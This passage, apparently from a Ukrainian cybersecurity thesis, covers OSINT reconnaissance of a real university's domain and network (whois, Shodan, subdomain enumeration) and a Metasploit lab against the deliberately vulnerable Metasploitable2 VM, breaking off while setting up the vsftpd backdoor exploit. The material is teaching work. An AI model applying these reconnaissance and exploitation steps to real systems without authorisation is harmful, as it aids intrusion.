ні так так так так так 

inurl Пошук в URL так так так так 
практично 

ні 

як в 

заголовку 

allinurl Пошук в URL ні так так так так 
як в 

заголовку 

filetype 
Пошук певних 

файлів 
так ні так так ні 

практично 

ні 

allintext 
Пошук лише в 

тексті сторінки 

практично  

ні 
так так так так так 

site 
Пошук на 

певних сайтах 
так так так так ні 

практично 

ні 

link 
Пошук посилань 

на сторінки 
ні так так ні ні 

практично 

ні 

inanchor 
Пошук якірних 

текстових 

посилань   

так так так так 
практично 

ні 
так 

numrange 
Знаходження 

номера 
так так так ні ні 

практично 

ні 

daterange 
Пошук у 

діапазоні дат 
так ні так 

практично  

ні 

практично 

ні 

практично 

ні 

author 
Пошук авторів 

групи 
так так ні ні так 

практично 

ні 

group 
Пошук за назвою 

групи 

практично  

ні 
так ні ні так 

практично 

ні 

insubject 
Груповий 

предметний 

пошук 

так так 
як в 

заголовку 

як в  

заголовку 
так 

як в 

заголовку 

msgid 
Пошук за msgid 

групи 
ні так 

практично 

ні 
практично ні так 

практично 

ні 

 

2.3 Пошук інформації про людей  

 

Якщо знайдено список співробітників компанії, то буде корисним 

зібрати про них якнайбільше інформації. Досить часто буває, що зламування 

ресурсу, який, здавалося б, не має жодного відношення до організації, яку 

намагаються зламати, призводить до її компрометації. Таке можливо, якщо 

співробітники використовують одні й самі паролі для доступу до різних 

систем. 

Найкращим місцем пошуку інформації залишаються соціальні мережі. 

Завдяки тому, що ними користується безліч людей, вони стають бездонним 

джерелом інформації. За ними можна відстежити все – кар'єру, спосіб життя, 
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інтереси та багато іншого. Користуючись даними про геомітки фотографій 

можна подивитися, що відбувається за зачиненими дверима організації.  

 

2.4 Пошук серед архівних даних 

 

Щоб знайти інформацію, яку організація перш за все публікувала в 

Інтернеті, а потім видалила (через допуск помилки або втрати актуальності 

даної інформації) можна скористатися сервісом archive.org. Це так званий 

архів Інтернету, який збирає копії веб-сторінок, графічні матеріали, відео- та 

аудіозаписи та програмне забезпечення. Архів забезпечує довгострокове 

архівування зібраного матеріалу та безкоштовний доступ до своїх баз даних 

для широкої публіки.  

 

2.5 Демонстрація збору інформації  

 

Проведемо розвідку (збір інформації) Національного університету 

"Запорізька політехніка", використовуючи різні загальнодоступні веб-сайти 

або програмні інструменти з відкритим кодом. 

 

2.5.1 Google - пошук 

 

За допомогою Google знайдемо сайт організації (рисунок 2.1). 

Існує безліч онлайн-інструментів, які дозволяють шукати інформацію 

про автономну систему для заданого імені організації або домену [30 – 32].  

Безкласова міждоменна маршрутизація (CIDR) – це метод розподілу IP-

адрес та IP-маршрутизації. Нотація CIDR є компактним представленням IP-

адреси і пов'язаного з ним префікса маршрутизації. Позначення складається з 

IP-адреси, символу косої риси (/) та цілого числа. Наприклад, запис CIDR 

18.5.27.0/24 означає, що старші 24 біт адреси (18.5.27) залишаються 

постійними, а молодші 8 біт є змінними і представляють комп'ютери в 
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підмережі. 18.5.27.0 – це перша адреса, а 18.5.27.255 – остання адреса, всього 

256 можливих адрес в цьому діапазоні. 

 

 

 

Рисунок 2.1 – Пошук інформації про організацію 

 

Для визначення номера автономної системи Національного 

університету «Запорізька політехніка» та її підмережі у форматі CIDR 

проаналізуємо інформацію на сайті HackerTarget [31]. 

 

29599 "Zaporizhzhia Polytechnic" National university 194.8.51.0/24 

 

Рисунок 2.2 – Результат визначення номера автономної системи 

Національного університету «Запорізька політехніка» 
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2.5.2 Shodan 

 

Shodan.io є інтернет-ресурсом, що дозволяє отримувати інформацію 

про підключені до мережі пристрої за їх IP-адресою. Іншими словами, ресурс 

є пошуковою системою, що дозволяє користувачам шукати підключені до 

інтернету сервера: веб-камери, маршрутизатори, і т. д. Деякі також описують 

його як пошукову систему сервісних банерів, що є метаданими, які сервер 

відправляє назад клієнту при відповіді. Цими метаданими може бути 

інформація про програмне забезпечення, які опції підтримує сервіс, вітальне 

повідомлення або ще щось, що клієнт повинен з'ясувати перед взаємодією з 

сервером. 

У своїй роботі Shodan головним чином збирає дані про веб-сервери 

HTTP/HTTPS (порти 80, 8080, 443, 8443), а також FTP (порт 21), SSH (порт 

22), Telnet (порт 23), SNMP (порт 161), IMAP (порти 143, 993), SMTP (порт 

25), SIP (порт 5060), RTSP (порт 554). Останній протокол може 

використовуватися для доступу до веб-камер та відеопотоку [33, 34]. 

Розглянемо практичне застосування ресурсу на прикладі сайту 

Національного університету "Запорізька політехніка" https://zp.edu.ua/. Для 

цього необхідно в пошуковий рядок ввести IP-адресу сайту. В результаті 

маніпуляції відобразилася інформація про сервер (провайдер, 

місцезнаходження і т.д.), відкриті порти і що розташоване на них 

(криптографічні ключі, версія веб-сервера, SSH і т.д.). Результат роботи 

представлений на рисунку 2.3. 

Також стандартний функціонал здатний знаходити вразливості ресурсу 

та виводити їх CVE, завдяки чому можна знайти методи рішення 

скориставшись загальною базою https://cve.mitre.org/. Приклад виявлення 

вразливостей наведено на рисунку 2.4. 

Маючи ці дані, вже можна зробити аналітику на предмет вразливості, 

проводити сканування та моніторинг цільового ресурсу (або цілої мережі), в 
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режимі реального часу: виявляти витоки даних у хмару, фішингові веб-сайти, 

зламані бази даних і т.д. 

 

 

 

Рисунок 2.3 – Shodan.io в роботі 

 

Shodan надає інструменти моніторингу всіх підключених пристроїв в 

Інтернеті. Варто також зауважити, що можна налаштувати зручне оповіщення 

за результатами моніторингу та виявлення будь-яких аномалій. 
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Рисунок 2.4 – Вразливості та SSL сертифікат для сайту zp.edu.ua 

 

2.5.3 Whois 

 

Система Whois дозволяє отримати доступ до довідкової інформації, що 

зберігається у реєстраторів доменних імен. Для отримання інформації про 

домен необхідно в консолі unix-системи запустити утиліту «whois» з IP-

адресою та доменним ім'ям сайту. IP-адреса визначається шляхом запуску 

команди «ping» (рис. 2.5). 

 

$ ping zp.edu.ua 
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Рисунок 2.5 – Визначення IP-адреси  

 

Використовуючи whois у віртуальній машині Kali linux, знайдемо 

інформацію про доменне ім'я «zp.edu.ua» (рис. 2.6 – 2.7). 

 
$ whois <IP> 

$ whois zp.edu.ua 

 

2.5.4 DNS 

 

Для автоматизованого пошуку субдоменів організації можна 

використовувати Sublist3r [35], DNS Dumpster [36], Fierce [37].  

Sublist3r – це інструмент переліку DNS. Він використовує комбінацію 

пошукових систем в Інтернеті та (необов'язково) вгадування грубої сили, щоб 

надати список піддоменів з урахуванням початкового домену. 

Використовуючи Sublist3r у віртуальній машині Kali Linux, отримаємо 

неповний, але достатньо великий список піддоменів для доменного імені 

zp.edu.ua. 

Для цього встановлюємо утиліту Sublist3r згідно з інструкцією [35] та 

запускаємо її із зазначенням домену: 

$ sudo apt install sublist3r # Install the Sublist3r 

$ sublist3r --domain zp.edu.ua # Run the enumeration. 
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Рисунок 2.6 – Запуск утиліти 

«whois» з IP-адресою 

Рисунок 2.7 – Запуск утиліти 

«whois» із доменним ім'ям сайту 
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DNS Dumpster [36] – аналогічний інструмент із веб-інтерфейсом. 

Використовуємо DNS Dumpster, щоб одержати список піддоменів для 

доменного імені zp.edu.ua (рис. 2.8). 

На рисунку 2.9 показано «Карту домену» з DNS Dumpster, яка 

підсумовує результати пошуку для zp.edu.ua. 

 

 

     а)        б) 

 

Рисунок 2.8 – Результати пошуку DNS Dumpster для zp.edu.ua. 

а) хостинг (власники IP-блоку); б) GeoIP розташування хостів 

 

На рисунку представлений OSINT for Network Infrastructure zp.edu.ua, і 

піддомени які особливо «цікаві» та про існування яких ми не знали до запуску 

сканування. 

Fierce – це сканер доменних імен, що допомагає знаходити несуміжні 

IP-простори та імена хостів у зазначених доменах. Іншими словами, 

враховуючи доменне ім'я, він знайде піддомени і знайде прилеглі сервери 

(«поблизу» на основі IP-адреси), які можуть або не можуть фактично 

використовувати те саме доменне ім'я. Цей інструмент не займається 

експлуатацією та не сканує весь Інтернет без розбору. Він призначений 

спеціально виявлення можливих цілей як усередині корпоративної мережі, так 

і за її межами. 

https://dnsdumpster.com/
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Рисунок 2.9 – Карта домену zp.edu.ua 

 

Оскільки він в першу чергу використовує DNS, то це часто призводить 

до неправильного налаштування мереж, через які відбувається витік 

внутрішнього адресного простору. 

Використаємо Fierce у віртуальній машині Kali для сканування DNS 

(рис. 2.10): 

 
$ fierce --domain zp.edu.ua 
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Рисунок 2.10 – Результат сканування DNS утилітою «fierce» 

 

2.5.5 SSL Certificates 

 

SSL сертифікати можуть бути корисним джерелом імен хостів, які 

можуть становити інтерес для тестування на проникнення. Перевірити SSL-
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сертифікати можна вручну у веб-браузері або за допомогою різних онлайн-

ресурсів [38,  39].  

 

2.6 Сканування 

 

Зібравши на попередньому етапі інформацію про цільову організацію з 

відкритих джерел, дослідник безпеки переходить до другого етапу – 

безпосереднього отримання інформації від внутрішніх мережних сервісів 

цільової організації. Якщо на попередньому етапі дії дослідника безпеки було 

практично неможливо виявити жодним з відомих інструментів, які 

використовуються з метою запобігання атакам, то на етапі сканування, коли 

йде звернення до сервісів безпосередньо, активність досить легко помітити. 

Якщо поставленим завданням є проведення аудиту інформаційної системи 

таким чином, щоб про це не дізнався персонал відділу ІТ, то постає питання 

приховування IP-адреси, що використовується за допомогою використання 

різних проксі-серверів або спеціалізованого програмного забезпечення. 

 

2.6.1 Сканування портів 

 

Сканування портів є першим етапом активної розвідки і, мабуть, одним 

з основних. Є велика кількість портів: 65535 портів tcp і udp. Номери портів, 

що починаються з нуля до 1024, є загальновідомими портами. Наприклад, порт 

80 пов'язаний з http; порт 21 зіставляється з ftp, порт 25 – з smtp тощо. 

Сканування портів – це метод розвідки, який включає сканування хоста на 

наявність відкритих портів і служб. Часто це включає відправлення 

повідомлення на кожен з портів і визначення того, який з них може бути 

відкритий. 

Даний метод дозволяє виявити активні машини, що працюють у мережі 

цільової організації, а також встановлене на них програмне забезпечення, 

запущені мережні сервіси та, у деяких випадках, версію операційної системи. 
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Сканування TCP-портів засноване на "трьохсторонньому рукостисканні" 

(three-way handshake). Сканер посилає пакет SYN на порт, і у випадку, коли 

порт відкритий, отримує у відповідь пакет ACK, а якщо порт закритий – п кет 

RST. Сканування UDP-портів має свою особливість, тому що протокол UDP, 

на відміну від TCP, не гарантує надійної доставки інформації та не 

використовує «рукостискання». Якщо при скануванні виявляється, що порт 

закритий, сканер отримує назад повідомлення «порт недоступний». У свою 

чергу відсутність такого повідомлення дозволяє сканеру прийняти рішення 

про те, що порт відкритий. Але тут є одна проблема: якщо перед сервером 

стоїть брандмауер, який блокує запити, що йдуть від сканера, то сканер не 

отримуватиме повідомлення про невдале підключення і прийме неправильне 

рішення про те, що порт відкритий. 

 

2.6.2 Визначення активних хостів 

 

Визначення активних хостів допомагає скоротити час, який потрібний 

для проведення аудиту. Визначивши активні хости та сконцентрувавшись 

лише на них, дослідник безпеки може заощадити велику кількість часу та 

зменшити обсяг роботи. Для визначення активних хостів можна 

використовувати ping. 

Ping – стандартна утиліта, що входить до складу будь-якої ОС. Однак 

цей метод має один недолік – дуже часто ICMP, на основі якого і працює ping, 

заблокований на рівні брандмауера. І в цьому випадку хост, на який 

надсилаються запити, не відповідатиме на них. 

Оскільки ping має досить обмежену функціональність, до того ж 

використовується утиліта hping3, яка працює не тільки з ICMP, але і з TCP-

протоколом, отже, вона може надсилати запити на будь-який порт, отримувати 

відповіді та обробляти їх. 
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2.6.3 Отримання інформації від DNS-сервера 

 

Завдяки інформації, яку можна отримати від DNS-сервера, можна 

скласти список публічних зовнішніх, а часом внутрішніх серверів, що 

використовуються цільовою організацією. Взаємодіяти з DNS-сервером 

можна декількома різними способами, наприклад, через кросплатформенну 

утиліту nslookup. 

Типи записів, що використовуються DNS-сервісом: 

− A (Address) – пов'язує доменне ім'я та IP-адресу; 

− SOA (Start of Authority) – показує, які DNS відповідають за 

еталонну інформацію про цю зону; 

− CNAME (Canonical Name) – додаткове ім'я для цього домену; 

− MX (Mail Exchange) – визначає, які поштові сервери обслуговують 

цю зону; 

− SRV (Service) – показує, які сервіси обслуговують цю зону; 

− PTR (Pointer) – прив'язує IP-адресу до доменного імені; 

− NS (Name Server) – показує, які DNS-сервери обслуговують цю 

зону. 

Використовуючи інформацію з цих записів, можна отримати багато 

корисної інформації.   

 

2.7 Правові аспекти використання методів OSINT  

 

Діяльність пов'язана зі збором та аналізом інформації з відкритих 

джерел має відбуватися відповідно до нормативно-правового поля держави. В 

основі такого регулювання лежить забезпечення конституційних прав 

громадян (бізнесу) на вільне здійснення пошуку, збору, передавання та 

використання інформації. Законодавство демократичних країн світу сприяє 

практичному використанню систем розвідки у відкритих джерелах. Зокрема, в 

США в 1996 році набрав чинності Закон про свободу інформації, який 
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зобов’язав спеціальні федеральні відомства надати вільний доступ громадянам 

до їх інформації. Закон вводив лише обмеження щодо матеріалів, які мають 

відношення до сфери оборони, фінансів та персональних документів, а також 

правоохоронної документації. Але варто зазначити, що в деяких країнах 

законодавці встановлюють обмеження на подібну діяльності, фактично 

забороняючи проводити розвідку з відкритих джерел.  

Стаття 34, розділу 2 Конституції України визначає, що “кожен має 

право вільно збирати, зберігати, використовувати і поширювати інформацію 

усно, письмово або в інший спосіб – на свій вибір”. Вітчизняне правове 

регулювання інформаційної сфери базується на таких принципах:  

1) вільно, на законних підставах, здійснювати пошук, одержання, 

передавання, створення та поширення інформації;  

2) встановлювати будь-які обмеження на доступ до інформації тільки 

законами;  

3) відкритість інформації щодо діяльності державних органів та органів 

місцевого самоврядування,  вільний доступ до такої інформації (крім випадків, 

які передбачені законодавством );  

4) за категорією доступу вся інформація поділяється на відкриту 

(загальнодоступну) та з обмеженим доступом.  

В нормативно-правовому полі України поняття “OSINT” відсутнє, хоча 

діяльність пов'язана зі збиранням, зберіганням, обробкою та поширенням 

інформації регулюється значною кількістю правових актів:  

− Закон України “Про інформацію” [40];  

− Закон України “Про друковані засоби масової інформації (пресу) 

в Україні” [41];  

− Закон України “Про охоронну діяльність” [42];  

− Закон України “Про захист персональних даних” [43];  

− Цивільний кодекс України, Кримінальний кодекс України, Кодекс 

України про адміністративні правопорушення. 
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 Потрібно зазначити, що проведення заходів щодо забезпечення безпеки 

організації (установи, підприємства), використовуючи розвідку з відкритих 

джерел інформації, в деяких випадках трактується як провадження 

оперативно-розшукової діяльності [44, 45], яку мають право здійснювати лише 

суб’єкти, визначені в зазначених законах України. Затверджена Указом 

Президента України “Стратегія кібербезпеки України” [46] визначає основні 

завдання силовим структурам та передбачає “створення системи своєчасного 

виявлення, протидії та нейтралізації кіберзагроз, в тому числі із залученням 

волонтерських організацій”, забезпечуючи конкурентну розвідку в цій галузі.  

Крім цього, діючий Кримінальний кодекс України передбачає 

кримінальну відповідальність за несанкціоноване збирання інформації 

(відомостей) з подальшим її використання, яка містить комерційну таємницю, 

або ж за розголошення комерційної таємниці. Однак такі відомості виходять 

за рамки проведення розвідки за відкритими джерелами.  

Широке та неоднозначне тлумачення правових норм призводить до 

того, що будь-які дії, пов'язані зі збором, обробкою та зберіганням інформації 

щодо конкурентів, в одних випадках, є легітимними (тобто дають можливість 

уникнути покарання), а в інших – важкодоступними для пересічних громадян. 

В українських реаліях доступ до великої кількості вільнодоступної (для 

більшості демократичних державах) інформації – фактично закритий.  В 

першу чергу це стосується інформації про земельні ділянки, об'єкти 

нерухомості, відкриті банківські рахунки тощо. З більшою частиною таких 

відомостей можна ознайомитись лише після консультації з відповідними 

експертами.  

Наразі гострою є проблема криміналізації роботи певних державних 

служб, які в своїй діяльності користуються розвідкою за відкритими 

джерелами. Державні та приватні підрозділи служб безпеки користуються 

базами даних, що містять інформацією про особу (її персональні дані). Такі 

інформаційні бази даних використовуються (в порушення вимог 
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законодавства) для перевірки, наприклад, даних про співробітників, партнерів 

чи бізнес-конкурентів.  

Технічно підтримка подібних баз даних забезпечується наявністю 

різних систем типу «Cronos» (легальних програмних оболонок). За допомогою 

такого інструментарію будь-який вмотивований користувач Інтернету має 

можливість отримати доступ до великої кількості баз даних [45]. В теперішній 

час основоположними цінностями людства є право на приватність та захист 

життя, та на свободу слова. В конкурентному середовищі, що стрімко 

змінюється,  персональні дані трансформуються в дороговартісний товар, який 

стає потужною зброєю зловмисників. Державні інституції, фінансові 

установи, великі корпорації не завжди здатні забезпечити самостійно 

відповідний захист своїх баз персональних даних, через це, великий потік 

конфіденційної інформації потрапляє на "чорний ринок". 

До основних європейських стандартів в сфері захисту персональних 

даних можна віднести Конвенцію Ради Європи “Про захист осіб у зв’язку з 

автоматичною обробкою персональних даних” (ETS № 108) та “Пакет захисту 

даних” Європейського Парламенту та Ради Європи [47], які є еталоном 

законотворення в цій галузі, особливо для нашої країни. Всі країни-члени  

Євросоюзу повинні приводити свою законодавчу базу у відповідності до 

зазначених стандартів.  

Стаття 32 Конституції України гарантує право на приватність 

особистого життя: “Ніхто не може зазнавати втручання в його особисте і 

сімейне життя, крім випадків, передбачених Конституцією України”. Стаття 

30 Конституції України гарантує недоторканність житла, стаття 31 захищає 

права громадян щодо таємниці листування, конфіденційності телефонних 

розмов та кореспонденції, стаття 32 забороняє збирати, зберігати, 

використовувати та поширювати конфіденційну інформацію про особу без її 

згоди. Конвенція Ради Європи Про захист осіб у зв’язку з автоматизованою 

обробкою персональних даних (документ від 28 січня 1981 року, 

ратифікований Україною 06.07.2010 року) визначає порядок передачі та 
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обробки персональних даних під час автоматизованої обробки через 

національні кордони.  

Як правило, для ідентифікації особи використовується певний набір 

даних (наприклад такий, який визначений Офісом з управління та бюджету 

США):  

− ім'я та прізвище; 

− ідентифікаційний номер; 

− IP-адреса (в окремих випадках); 

− номер посвідчення водія; 

− номер кредитної картки; 

− цифровий підпис; 

− дата народження; 

− місце народження; 

− генетична інформація [48].  

Законодавством України передбачено використання інформаційних 

технологій для обробки персональних даних. Перед початком обробки 

персональних даних власник (відповідальна особа) зобов’язані повідомити 

про такі наміри компетентні органи з питань захисту персональних даних. 

Інформація про власника або керівника (спеціаліста-оператора) вносяться до 

спеціального реєстру операторів. Така інформація  стає загальнодоступною.  

Законодавство про захист персональних даних поширюються, 

практично, на всіх громадян, які є учасниками процесів обробки даних. 

Інформація про особу часто використовується в соціальних мережах , зокрема, 

в службах електронної пошти.  

Сучасні інтернет-компанії збирають та обробляють різні категорії 

персональних даних – інформацію про працівників, клієнтів (замовників 

послуг), постачальників тощо. Людина, яка розміщує інформацію про себе в 

соцмережах або на інших Інтернет-сервісах, свідомо робить її доступною для 

всіх користувачів таких сервісів і, відповідно до законодавства, така 

інформація може бути інтерпретована як «публічна». Але не всю інформацію 
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користувач соціальних мережах робить загальнодоступною, деяка 

приховується і стає доступною лише для певної групи користувачів, 

наприклад друзів. В такому випадку Інтернет-сервіси повинні забезпечувати  

відповідні механізми захисту.  

Органи (державні або приватні організації), які проводять 

інформаційну розвідку з відкритих джерел, оперують загальнодоступними 

персональними даними. Обробка таких персональних даних не вимагає 

отримання згоди від суб’єкта (фізичної особи) цих даних.  

Однак, обов’язком володільця або адміністратора є доведення того, що 

оброблювані персональні дані є загальнодоступними. Крім того, потрібно 

мати документ, що засвідчує публічний доступ до джерела персональних 

даних або отримати згоду від суб’єкта персональних даних. При цьому, 

відкритим залишається питання щодо підтвердження власником Інтернет-

ресурсу письмової згоди на обробку персональних даних.  

На основі розглянутих в цьому розділі базових положень методів 

OSINT та характеристик найбільш популярних онлайн-сервісів для збору 

інформації була підготовлена теоретична лабораторна робота №1, що ввійшла 

до лабораторного практикуму з дисципліни "Захищені мережеві технології" 

для студентів спеціальності 125 «Кібербезпека» (Додаток А). 

 

2.8 Висновки до розділу 2 

 

У цьому розділі основну увагу приділено одному з важливих етапів, 

відомому як розвідка, який є першим кроком у методах злому інформаційної 

системи організації. У цьому розділі було розглянуто теоретичний аспект 

методів OSINT, способів їх застосування та правовий аспект їх використання. 

Розглянуто «пасивний» та «активний» методи збирання інформації.  

У фазі пасивної розвідки практично ніколи не вдається зібрати всю 

інформацію з одного джерела. Дані слід збирати, використовуючи різні 

інструменти OSINT, щоб згодом отримати повну картину інформаційної 
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системи організації. Визначено чим регламентовано здійснення збору 

інформації із відкритих джерел в Україні. Було згадано кілька основних 

інструментів OSINT. Здійснено короткий аналіз їх можливостей та 

ефективність їх використання при здійсненні розвідки із відкритих джерел. На 

прикладі інформаційної системи офіційного веб-сайту Національного 

університету «Запорізька політехніка» проведено аналіз відкритих джерел 

інформації щодо загроз інформаційної безпеки.  

У фазі активної розвідки – сканування портів найбільш 

функціональною є утиліта Nmap. Nmap має більше можливостей для тонкого 

налаштування (вибір діапазону портів, режим «прослуховування») і повністю 

безкоштовною. Однак, на відміну від веб-сервісів, Nmap використовує для 

роботи ресурси обчислювальної машини, на якій запущена і не має зручного 

графічного інтерфейсу, з можливістю візуалізації аналітичних даних.  
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3 ПРАКТИЧНІ ДОСЛІДЖЕННЯ АТАК У ВІРТУАЛЬНОМУ 

СЕРЕДОВИЩІ 

 

3.1 Пошук вразливостей 

 

Зазвичай для несанкціонованого підключення використовують 

вразливості у встановленому програмному забезпеченні. Пошук вразливостей 

можна здійснювати вручну, використовуючи отриману інформацію та бази 

даних вразливостей. Однак це дуже довгий та трудомісткий процес. А можна 

скористатися сканерами вразливостей. Найпопулярніші з них – OpenVAS, 

Nessus, Retina та Nexpose [49]. Вони дозволяють не тільки знаходити відкриті 

вразливості у встановленому програмному забезпеченні та операційних 

системах, а й визначати застарілі протоколи шифрування, заражені 

комп'ютери та багато іншого. До речі, OpenVAS входить до складу Kali Linux. 

Kali Linux є передовим Linux-дистрибутивом для проведення 

тестування на проникнення та аудиту безпеки. Kali Linux включає понад 600 

інструментів, орієнтованих на різні завдання інформаційної безпеки, такі як 

тестування на проникнення, збирання інформації, форензика та зворотна 

інженерія. 

 

3.2 Metasploit Framework 

 

Для розробки, тестування та застосування експлойтів було створено 

програмну платформу Metasploit Framework [50]. 

Експлойт – це спеціальна програма, яка використовує відомі 

вразливості у програмному забезпеченні для проведення атаки з метою 

отримання контролю над системою або виведення її з ладу (відмови в 

обслуговуванні). Експлойти бувають віддаленими, що працюють через 

комп'ютерну мережу, і локальними, що запускаються безпосередньо в системі. 

У Metasploit експлойти поділяються на активні та пасивні. Активні починають 
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експлуатувати певну вразливість у програмному забезпеченні відразу після 

запуску і закінчують свою роботу у разі удачі чи провалу. Пасивні чекають на 

підключення віддаленого хоста і тільки після цього починають свою роботу. 

Наприклад, можна запустити експлойт, надіславши жертві клієнтську частину 

електронною поштою. Після того, як одержувач відкриє додаток до листа, 

клієнтська частина з'єднається із запущеним раніше експлойтом, і той 

розпочне атаку.  

Metasploit складається з ядра, яке забезпечує спільну роботу наступних 

підключаємих компонентів [50]:   

1) інтерфейси: консольний та графічні;  

2) модулі:  

− експлойти (забезпечують можливість експлуатації знайденої 

вразливості);  

− корисне навантаження (програма, яка запускається після успішної 

роботи експлойта та виконує певну функцію, наприклад, створення 

користувача, відкриття порту тощо); 

− допоміжні модулі (сканер портів, перебір паролів, аналіз трафіку 

тощо);  

− енкодери (дозволяють приховати шкідливий код від систем захисту 

шляхом його багаторазового перетворення) тощо. 

3) розширення – дозволяють значно розширити функціонал Metasploit. 

Переглянути всі доступні експлойти можна, використовуючи команду 

show exploits, проте, враховуючи їхню величезну кількість, це не завжди 

зручно. 

Metasploit є універсальним інструментом проведення аудиту безпеки. 

Цей фреймворк постійно підтримується та оновлюється. Основна робота з 

безкоштовною версією відбувається через командний інтерфейс з 

використанням msfconsole. Однак існує і графічний інтерфейс Armitage. 
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3.3 Тестування експлойтів з Metasploitable 2 

 

У якості об'єкту сканування визначено віртуальну машину 

Metasploitable2, яка навмисно містить велику кількість вразливостей та 

помилок у налаштуванні програмного забезпечення. Дана віртуальна машина 

базується на операційній системі Ubuntu Linux та спеціально спроектована для 

тестування інструментів інформаційної безпеки та підвищення практичних 

навичок фахівців у сфері ІБ. В цій операційній системі заздалегідь відкриті всі 

порти і є найвідоміші вразливості, деякі з яких зустрічаються в реальному 

житті на діючих системах. 

Головна мета Metasploitable2 – допомогти фахівцям з інформаційної 

безпеки оцінити свої навички, легально перевірити різноманітні інструменти; 

допомогти розробникам краще зрозуміти механізм написання безпечного 

коду, а також дати можливість студентам та викладачам дізнатися більше про 

безпеку контрольованого середовища. Metasploitable2 надає можливість 

попрактикуватися в експлуатації найпопулярніших вразливостей. 

 

3.4 Демонстрація експлуатації вразливостей 

3.4.1 Сканування вразливостей 

 

Використаємо OpenVAS (Open Vulnerability Assessment System) для 

сканування системи Metasploitable2 на наявність потенційних вразливостей. 

OpenVAS являє собою структуру з декількох сервісів та інструментів, 

яка пропонує потужне рішення щодо проведення сканування системи на 

наявність вразливостей. OpenVAS це сканер вразливостей та засіб керування 

вразливостями з відкритим вихідним кодом. Його можливості включають 

тестування без перевірки автентичності, тестування з перевіркою 

автентичності, різні високорівневі та низькорівневі інтернет-протоколи та 

промислові протоколи, налаштування продуктивності для великомасштабних 
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сканувань та потужна внутрішня мова програмування для реалізації будь-

якого типу перевірки вразливості. 

Щоб встановити OpenVAS на віртуальну машину Kali Linux, 

виконаємо наведені нижче дії. 

Оновимо Kali Linux: 

 

$ sudo apt update 

$ sudo apt -y upgrade. 

 

Встановимо та налаштуємо OpenVAS: 

$ sudo apt install openvas 

$ sudo apt install postgresql-14 

$ sudo gvm-setup. 

 

Оновимо сигнатури, які використовуються при скануванні OpenVAS: 

 

$ sudo gvm-feed-update 

$ sudo gvmd --rebuild 

# and not names in the GUI 

 

Команді gvmd --rebuild знадобиться багато часу для створення всіх 

визначень вразливостей. Команда повернеться негайно, але працюватиме у 

фоновому режимі. 

Продовжимо та запустимо OpenVAS: 

 

$ sudo gvm-start 

 

Наприкінці процесу налаштування gvm був створений користувач 

«admin» з випадковим паролем. Можна зберегти цей логін, або створити новий 

обліковий запис з новим паролем за допомогою CLI: 

 

$ sudo runuser -u _gvm -- gvmd --create-user=admin 

$ sudo runuser -u _gvm -- gvmd --user=admin --new-password="XXXXXX". 
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Відкриємо веб-браузер, перейдемо за адресою https://127.0.0.1:9392 

(або він буде відкритий автоматично) та увійдемо до системи з логіном та 

паролем, які щойно створили. 

OpenVAS обробляє нещодавно завантажені підписи у фоновому 

режимі, і сканер буде недоступний, доки ця робота не буде завершена 

(рис. 3.1). Не слід налаштовувати та запускати сканування, доки не побачимо 

CVE та NVT на панелі інструментів сканування. 

 

Рисунок 3.1 – Процес оновлення OpenVAS 

 

Щоб стежити за станом системи, запустимо top у командному рядку. 

Поки сигнатури обробляються, можна спостерігати кілька програм, пов'язаних 

із OpenVAS (ospd-openvas та gvmd) та кілька баз даних (postgres та redis-

server), які активно споживають ресурси ЦП (рис. 3.2). 

 

Рисунок 3.2 – Використання ресурсів ЦП 
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Коли сигнатури повністю оброблені, на сторінці "Адміністрування---

>Статус каналу" канали повинні відображатися як "Current", а на головній 

панелі інструментів мають відображатися графіки CVE та NVT (рис. 3.3). 

 

 

 

 

Рисунок 3.3 – Результат оновлення OpenVAS 

 

Після встановлення OpenVAS та оновлення сигнатур налаштовується 

сканування. Для цього потрібно запустити майстер завдань, перейшовши в 

«Сканування»--->«Завдання». Ввести IP-адресу віртуальної машини 

Metasploitable2 та обрати «Почати сканування». Сторінка завдань 

оновлюватиметься кожні 30 секунд з результатами сканування. Після 

успішного виконання завдання статус повідомляється як DONE, інакше 

ERROR – сканування завершилося помилкою, і його слід запустити повторно. 

У меню Scans--->Reports надано результати виконаного завдання.  

Для завершення роботи OpenVAS, слід закрити програму командою: 

$ sudo gvm-stop. 
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3.4.2 Експлуатація вразливостей 

 

Використаємо Metasploit для активного використання вразливостей у 

віртуальній машині Metasploitable2 та отримання доступу. 

Запустимо службу Kali PostgreSQL, яку Metasploit використовує як 

серверну частину та ініціалізуємо базу даних Metasploit PostgreSQL (рис. 3.4): 

 

$ sudo systemctl start postgresql 

# (Will launch the service postgresql@14-main and then exit...) 

$ sudo msfdb init    # Only do this ONCE, not every time! 

 

Запустимо Metasploit в Kali: 

 

$ msfconsole. 

 

Перевіримо підключення до бази даних: 

 

msf6> db_status. 

# Should see: 

# [*] Connected to msf. Connection type: postgresql. 

 

Додамо нову робочу область. Робоча область дозволяє маркувати 

зібрані дані (хости, вразливості і т.д.) для конкретного проекту в базі даних [51] 

 

msf6> workspace -a metasploitable2. 

 

Поточні настроєні робочі області позначені *, що відзначає поточну 

вибрану робочу область. 

 

msf6> workspace. 

 



56 

Якщо потрібно вибрати цю робочу область пізніше, необхідно ввести 

(рис. 3.4) 

 

msf6> workspace metasploitable2. 

 

Рисунок 3.4 – Запуск Metasploit в Kali Linux 

 

Запустимо nmap у підмережі, в якій працює віртуальна машина 

metasploitable2. Команда db_nmap збереже результати сканування nmap у базі 

даних. Використовуємо сканування -A, оскільки в цій підмережі лише кілька 

систем, і тому це не займе надто багато часу. 

msf6> db_nmap -A xxx.xxxx.xxx.0/24     ### e.g. 10.211.5.0/24 

 
 



57 



58 



59 



60 



61 

 

Переглянемо список хостів та список сервісів, знайдених під час 

сканування nmap (рис. 3.5): 

msf6> hosts 

msf6> services. 

 

 

 
Рисунок 3.5 – Cписок хостів та служб за результатами сканування nmap 
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3.4.3 Експлуатація VSFTPD 

 

Оберемо у якості цілі FTP-додаток – VSFTPD 

msf6> search type:exploit name:vsftpd. 
 

Виберемо знайдений експлойт та переглянемо інформацію, яку 

Metasploit має по цьому конкретному експлойту (рис. 3.6): 

 

msf6> use exploit/unix/.....   # (Provide the full path to exploit here) 

msf6> info. 

 

Рисунок 3.6 – Інформація по експлойту FTP-серверу vsftpd 



63 

В інформації про експлойт є посилання на URL-адресу pastebin.com, 

яка надає різницю коду, що показує шкідливий бекдор, доданий на сервер. 

Для того ж експлойта переглянемо доступні параметри, які можливо, 

потрібно буде правильно налаштувати, щоб експлойт націлювався на 

правильний хост (рис. 3.7). 

 

msf6> show options 

msf6> set RHOSTS aaa.bbb.ccc.ddd   # Must set remost host (IP address of 

